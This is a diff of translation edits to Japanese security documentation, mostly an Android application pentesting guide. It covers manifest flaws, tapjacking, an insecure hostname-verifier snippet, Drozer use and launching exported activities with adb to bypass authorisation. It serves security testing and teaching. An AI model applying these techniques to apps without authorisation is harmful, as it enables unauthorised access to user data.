|
||||||
@ -326,7 +326,7 @@ echo $FILENAME
|
|||||||
```
|
```
|
||||||
## POSIX共有メモリ
|
## POSIX共有メモリ
|
||||||
|
|
||||||
**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいて、プロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()`と`close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
|
**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()`と`close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@ -422,9 +422,9 @@ return 0;
|
|||||||
|
|
||||||
## macOS ガード付きディスクリプタ
|
## macOS ガード付きディスクリプタ
|
||||||
|
|
||||||
**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、これらはカーネルによって強制されます。
|
**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。
|
||||||
|
|
||||||
この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスして**別の脆弱なスレッドにアクセスを許可する**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです:
|
この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスしているときに**別の脆弱なスレッドがそれにアクセスできる**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです:
|
||||||
|
|
||||||
- `guarded_open_np`: ガード付きでFDをオープン
|
- `guarded_open_np`: ガード付きでFDをオープン
|
||||||
- `guarded_close_np`: 閉じる
|
- `guarded_close_np`: 閉じる
|
||||||
|
@ -65,19 +65,19 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht
|
|||||||
**Manifest.xml**から特定された**脆弱性**には以下が含まれます:
|
**Manifest.xml**から特定された**脆弱性**には以下が含まれます:
|
||||||
|
|
||||||
- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション(`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、デバイス上のデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。
|
- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション(`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、デバイス上のデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。
|
||||||
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定して、特にUSBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐ必要があります。
|
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、特にUSBデバッグが有効になっている場合に、adbを介した不正なデータバックアップを防ぐことができます。
|
||||||
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。
|
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。
|
||||||
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになる可能性があります。
|
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになる可能性があります。
|
||||||
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの構成も注意深く確認する必要があります。
|
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
|
||||||
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特にURLスキームが入力脆弱性に対してどのように管理されているかに注意を払う必要があります。
|
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特にURLスキームが入力脆弱性に対してどのように管理されているかに注意を払う必要があります。
|
||||||
- **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調しています。
|
- **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
|
||||||
|
|
||||||
**strings.xml**ファイルからは、APIキー、カスタムスキーマ、およびその他の開発者ノートなどの機密情報が発見される可能性があり、これらのリソースを注意深くレビューする必要があります。
|
**strings.xml**ファイルからは、APIキー、カスタムスキーマ、およびその他の開発者ノートなどの機密情報が発見される可能性があり、これらのリソースを注意深く確認する必要があります。
|
||||||
|
|
||||||
### タップジャッキング
|
### タップジャッキング
|
||||||
|
|
||||||
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、実際には被害者アプリに対してその対話を渡しています。\
|
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、同時にその対話を被害者アプリに渡します。\
|
||||||
実際には、**ユーザーが被害者アプリでアクションを実行していることを知らないようにしています**。
|
実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。
|
||||||
|
|
||||||
詳細情報は以下を参照してください:
|
詳細情報は以下を参照してください:
|
||||||
|
|
||||||
@ -87,7 +87,7 @@ tapjacking.md
|
|||||||
|
|
||||||
### タスクハイジャック
|
### タスクハイジャック
|
||||||
|
|
||||||
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションを使用していると思い込んでいる**)。
|
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションと対話していると思っている**)。
|
||||||
|
|
||||||
詳細情報は以下を参照してください:
|
詳細情報は以下を参照してください:
|
||||||
|
|
||||||
@ -139,70 +139,70 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
|
|||||||
SSLSocketFactory sf = new cc(trustStore);
|
SSLSocketFactory sf = new cc(trustStore);
|
||||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||||
```
|
```
|
||||||
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
|
良いテスト方法は、デバイス内でBurp CAを承認せずにBurpのようなプロキシを使用してトラフィックをキャプチャしようとすることです。また、Burpを使用して異なるホスト名の証明書を生成し、それを使用することもできます。
|
||||||
|
|
||||||
### Broken Cryptography
|
### 壊れた暗号化
|
||||||
|
|
||||||
**Poor Key Management Processes**
|
**不適切なキー管理プロセス**
|
||||||
|
|
||||||
一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません。
|
一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません。
|
||||||
|
|
||||||
**Use of Insecure and/or Deprecated Algorithms**
|
**安全でないおよび/または廃止されたアルゴリズムの使用**
|
||||||
|
|
||||||
開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。たとえば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース耐性が必要です。
|
開発者は、認証**チェック**、**保存**、または**送信**データを行うために**廃止されたアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。たとえば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
|
||||||
|
|
||||||
### Other checks
|
### その他のチェック
|
||||||
|
|
||||||
- APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。
|
- 攻撃者のリバースエンジニアリング作業を困難にするために、**APKを難読化する**ことを推奨します。
|
||||||
- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。
|
- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、結果に応じて行動する必要があります。
|
||||||
- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。
|
- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。
|
||||||
- アプリが機密性が高い場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
|
- アプリが機密性が高い場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
|
||||||
- [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。
|
- [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。
|
||||||
|
|
||||||
### React Native Application
|
### React Nativeアプリケーション
|
||||||
|
|
||||||
Read the following page to learn how to easily access javascript code of React applications:
|
ReactアプリケーションのJavaScriptコードに簡単にアクセスする方法については、以下のページをお読みください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
react-native-application.md
|
react-native-application.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Xamarin Applications
|
### Xamarinアプリケーション
|
||||||
|
|
||||||
Read the following page to learn how to easily access C# code of a xamarin applications:
|
XamarinアプリケーションのC#コードに簡単にアクセスする方法については、以下のページをお読みください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../xamarin-apps.md
|
../xamarin-apps.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Superpacked Applications
|
### スーパー圧縮アプリケーション
|
||||||
|
|
||||||
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
|
この[**ブログ記事**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)によると、スーパー圧縮はアプリケーションの内容を単一のファイルに圧縮するメタアルゴリズムです。このブログでは、これらのアプリを解凍するアプリを作成する可能性について話しています... そして、**アプリケーションを実行してファイルシステムから解凍されたファイルを収集する**というより速い方法についても言及しています。
|
||||||
|
|
||||||
### Automated Static Code Analysis
|
### 自動静的コード分析
|
||||||
|
|
||||||
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
|
ツール[**mariana-trench**](https://github.com/facebook/mariana-trench)は、アプリケーションの**コード**を**スキャン**することによって**脆弱性**を見つけることができます。このツールには、**ユーザーによって制御される**入力の**場所**を示す一連の**既知のソース**、悪意のあるユーザー入力が損害を引き起こす可能性のある**危険な****場所**を示す**シンク**、および**ルール**が含まれています。これらのルールは、脆弱性を示す**ソース-シンク**の**組み合わせ**を示します。
|
||||||
|
|
||||||
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
|
この知識をもとに、**mariana-trenchはコードをレビューし、可能な脆弱性を見つけます**。
|
||||||
|
|
||||||
### Secrets leaked
|
### 漏洩した秘密
|
||||||
|
|
||||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
アプリケーションには、あなたが発見できるかもしれない秘密(APIキー、パスワード、隠されたURL、サブドメインなど)が含まれている可能性があります。ツール[https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)を使用できます。
|
||||||
|
|
||||||
### Bypass Biometric Authentication
|
### 生体認証のバイパス
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
bypass-biometric-authentication-android.md
|
bypass-biometric-authentication-android.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Other interesting functions
|
### その他の興味深い機能
|
||||||
|
|
||||||
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
- **コード実行**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
- **SMS送信**: `sendTextMessage, sendMultipartTestMessage`
|
||||||
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
|
- **ネイティブ関数**として宣言された`native`: `public native, System.loadLibrary, System.load`
|
||||||
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
|
- [ネイティブ関数を**リバースエンジニアリングする方法**を学ぶにはこちらをお読みください](reversing-native-libraries.md)
|
||||||
|
|
||||||
### **Other tricks**
|
### **その他のトリック**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
content-protocol.md
|
content-protocol.md
|
||||||
@ -212,116 +212,116 @@ content-protocol.md
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Dynamic Analysis
|
## 動的分析
|
||||||
|
|
||||||
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
|
> まず、アプリケーションとすべての環境(主にBurp CA証明書、Drozer、Frida)をインストールできる環境が必要です。したがって、ルート化されたデバイス(エミュレートされたかどうかにかかわらず)が非常に推奨されます。
|
||||||
|
|
||||||
### Online Dynamic analysis
|
### オンライン動的分析
|
||||||
|
|
||||||
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
|
[https://appetize.io/](https://appetize.io)で**無料アカウント**を作成できます。このプラットフォームでは、APKを**アップロード**して**実行**できるため、APKの動作を確認するのに便利です。
|
||||||
|
|
||||||
You can even **see the logs of your application** in the web and connect through **adb**.
|
アプリケーションの**ログをウェブで確認**し、**adb**を介して接続することもできます。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
|
ADB接続のおかげで、エミュレーター内で**Drozer**と**Frida**を使用できます。
|
||||||
|
|
||||||
### Local Dynamic Analysis
|
### ローカル動的分析
|
||||||
|
|
||||||
#### Using an emulator
|
#### エミュレーターを使用する
|
||||||
|
|
||||||
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
|
- [**Android Studio**](https://developer.android.com/studio)(**x86**および**arm**デバイスを作成でき、[**これ**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新のx86**バージョンは**ARMライブラリ**をサポートしています。遅いarmエミュレーターは必要ありません)。
|
||||||
- Learn to set it up in this page:
|
- このページで設定方法を学びます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
avd-android-virtual-device.md
|
avd-android-virtual-device.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを避けるために、**VirtualBox**を含むバージョンを**ダウンロード**することを推奨します。_)
|
||||||
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
- [**Nox**](https://es.bignox.com)(無料ですが、FridaやDrozerはサポートしていません)。
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
> 新しいエミュレーターを作成する際は、画面が大きいほどエミュレーターの動作が遅くなることを覚えておいてください。可能であれば、小さい画面を選択してください。
|
||||||
|
|
||||||
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
|
GenymotionにGoogleサービス(AppStoreなど)をインストールするには、以下の画像の赤でマークされたボタンをクリックする必要があります:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
|
また、Genymotionの**Android VMの設定**で**ブリッジネットワークモード**を選択できることに注意してください(これは、ツールを使用して異なるVMからAndroid VMに接続する場合に便利です)。
|
||||||
|
|
||||||
#### Use a physical device
|
#### 物理デバイスを使用する
|
||||||
|
|
||||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
**デバッグ**オプションを有効にする必要があり、**ルート化**できると良いでしょう:
|
||||||
|
|
||||||
1. **Settings**.
|
1. **設定**。
|
||||||
2. (FromAndroid 8.0) Select **System**.
|
2. (Android 8.0以降) **システム**を選択。
|
||||||
3. Select **About phone**.
|
3. **電話について**を選択。
|
||||||
4. Press **Build number** 7 times.
|
4. **ビルド番号**を7回押します。
|
||||||
5. Go back and you will find the **Developer options**.
|
5. 戻ると、**開発者オプション**が表示されます。
|
||||||
|
|
||||||
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
> アプリケーションをインストールしたら、最初に行うべきことは、それを試して、何をするのか、どのように機能するのかを調査し、快適に感じることです。\
|
||||||
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
> **MobSF動的分析 + pidcat**を使用してこの初期動的分析を実行することをお勧めします。これにより、MobSFが後でレビューできる多くの**興味深い**データを**キャプチャ**しながら、**アプリケーションの動作を学ぶ**ことができます。
|
||||||
|
|
||||||
### Unintended Data Leakage
|
### 意図しないデータ漏洩
|
||||||
|
|
||||||
**Logging**
|
**ログ記録**
|
||||||
|
|
||||||
開発者は、**デバッグ情報**を公開することに注意すべきです。これは、機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、ツール[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は、その使いやすさと可読性から好まれます。
|
開発者は、**デバッグ情報**を公開することに注意すべきです。これは、機密データの漏洩につながる可能性があります。アプリケーションのログを監視して機密情報を特定し保護するために、ツール[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は、その使いやすさと可読性から好まれます。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
|
> **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
|
||||||
> それでも、**機密情報をログに記録しない**ことを推奨します。
|
> それでも、**機密情報をログに記録しない**ことを推奨します。
|
||||||
|
|
||||||
**Copy/Paste Buffer Caching**
|
**コピー/ペーストバッファキャッシュ**
|
||||||
|
|
||||||
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションでは**コピー/ペースト**機能を無効にすることが重要です。
|
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードに**アクセス**できるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。
|
||||||
|
|
||||||
**Crash Logs**
|
**クラッシュログ**
|
||||||
|
|
||||||
アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。
|
アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特に、アプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。
|
||||||
|
|
||||||
ペンテスターとして、**これらのログを確認することをお勧めします**。
|
ペンテスターとして、**これらのログを確認することをお勧めします**。
|
||||||
|
|
||||||
**Analytics Data Sent To 3rd Parties**
|
**第三者に送信される分析データ**
|
||||||
|
|
||||||
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により、機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
|
アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により、機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
|
||||||
|
|
||||||
### SQLite DBs
|
### SQLite DB
|
||||||
|
|
||||||
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\
|
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**および**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\
|
||||||
データベースは`/data/data/the.package.name/databases`に位置する必要があります。例えば`/data/data/com.mwr.example.sieve/databases`
|
データベースは`/data/data/the.package.name/databases`に位置し、例として`/data/data/com.mwr.example.sieve/databases`のようになります。
|
||||||
|
|
||||||
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
|
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
|
||||||
|
|
||||||
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を実行してテーブルのカラムを列挙します。
|
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を実行してテーブルのカラムを列挙します。
|
||||||
|
|
||||||
### Drozer (Exploit Activities, Content Providers and Services)
|
### Drozer(エクスプロイトアクティビティ、コンテンツプロバイダーおよびサービス)
|
||||||
|
|
||||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
|
[Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)から:**Drozer**は、**Androidアプリの役割を引き受け**、他のアプリと対話することを可能にします。これは、インストールされたアプリケーションができることは何でも行うことができ、Androidのプロセス間通信(IPC)メカニズムを利用し、基盤となるオペレーティングシステムと対話することができます。\
|
||||||
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
|
Drozerは、**エクスポートされたアクティビティ、エクスポートされたサービス、およびコンテンツプロバイダーを**エクスプロイトするための便利なツールです。次のセクションで学ぶことになります。
|
||||||
|
|
||||||
### Exploiting exported Activities
|
### エクスポートされたアクティビティのエクスプロイト
|
||||||
|
|
||||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
[**Androidアクティビティとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||||
Also remember that the code of an activity starts in the **`onCreate`** method.
|
また、アクティビティのコードは**`onCreate`**メソッドから始まることを覚えておいてください。
|
||||||
|
|
||||||
**Authorisation bypass**
|
**認証バイパス**
|
||||||
|
|
||||||
Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。
|
アクティビティがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。
|
||||||
|
|
||||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
[**Drozerを使用してエクスポートされたアクティビティをエクスプロイトする方法を学びます。**](drozer-tutorial/index.html#activities)
|
||||||
|
|
||||||
You can also start an exported activity from adb:
|
adbからエクスポートされたアクティビティを開始することもできます:
|
||||||
|
|
||||||
- PackageName is com.example.demo
|
- パッケージ名はcom.example.demoです
|
||||||
- Exported ActivityName is com.example.test.MainActivity
|
- エクスポートされたアクティビティ名はcom.example.test.MainActivityです
|
||||||
```bash
|
```bash
|
||||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||||
```
|
```
|
||||||
**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン<21)でのみ危険なようです。
|
**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン< 21)でのみ危険なようです。
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。
|
